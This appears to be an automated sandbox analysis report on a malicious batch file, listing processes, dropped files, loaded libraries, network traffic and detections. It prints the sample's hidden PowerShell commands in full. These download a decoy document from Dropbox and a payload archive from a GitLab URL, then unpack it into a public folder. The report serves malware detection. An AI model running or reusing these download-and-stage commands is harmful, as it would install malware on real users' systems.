Source: unicode.html.17.dr	String found in binary or memory: https://www.unicode.org/versions/latest/#Summary
Source: unicode.html.17.dr	String found in binary or memory: https://www.youtube.com/watch?v=MijmeoH9LT4
Source: asn1.py.17.dr	String found in binary or memory: https://www.zytrax.com/tech/survival/asn1.html

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	HTTPS traffic detected: 162.125.66.18:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.7:49744 version: TLS 1.2

System Summary

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_eksblowfish.pyd	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 17_2_00007FFAAC3D0E35

17_2_00007FFAAC3D0E35

Source: pip-24.0-py3-none-any.whl.17.dr

Binary or memory string: .SLN``r

Source: classification engine

Classification label: mal84.evad.winBAT@28/1038@4/2

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\Desktop\tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7680:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_twrrhlo0.yng.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\18cut04.bat" "

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\chcp.com

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\18cut04.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp.com 437
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fiNdstr /L /I set "C:\Users\user\Desktop\18cut04.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fiNdstr /L /I goto "C:\Users\user\Desktop\18cut04.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fiNdstr /L /I echo "C:\Users\user\Desktop\18cut04.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fiNdstr /L /I pause "C:\Users\user\Desktop\18cut04.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/bose1511/mkt1511/-/raw/main/18Fukrun.zip', 'C:\Users\Public\Document.zip')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp.com 437	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fiNdstr /L /I set "C:\Users\user\Desktop\18cut04.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fiNdstr /L /I goto "C:\Users\user\Desktop\18cut04.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fiNdstr /L /I echo "C:\Users\user\Desktop\18cut04.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fiNdstr /L /I pause "C:\Users\user\Desktop\18cut04.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/bose1511/mkt1511/-/raw/main/18Fukrun.zip', 'C:\Users\Public\Document.zip')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: *.pdbv source: powershell.exe, 0000000D.00000002.1401370832.000001876A252000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: pdb.Pdb(nosigint=True).runcall(f) source: test_zipimport_support.py.17.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 0000000D.00000002.1401370832.000001876A28C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Microsoft.pdb source: powershell.exe, 0000000D.00000002.1400342987.000001876A0F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: <tr class="row-even"><td><p>pdb.Pdb</p></td> source: audit_events.html.17.dr
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbal\T source: powershell.exe, 0000000D.00000002.1400342987.000001876A0F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: <td><p><a class="reference internal" href="pdb.html#pdb.Pdb">[1]</a></p></td> source: audit_events.html.17.dr
Source:	Binary string: 6?ll\System.pdb source: powershell.exe, 0000000D.00000002.1379643388.0000018750022000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: (<a class="reference internal" href="pdb.html#pdb.Pdb" title="pdb.Pdb"><code class="xref py py-class docutils literal notranslate"><span class="pre">pdb.Pdb</span></code></a>) is an example.</p> source: bdb.html.17.dr
Source:	Binary string: System.pdbs\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 0000000D.00000002.1401370832.000001876A278000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbft source: powershell.exe, 0000000D.00000002.1401370832.000001876A28C000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected Abobus Obfuscator

Source: Yara match

File source: 18cut04.bat, type: SAMPLE

Suspicious powershell command line found

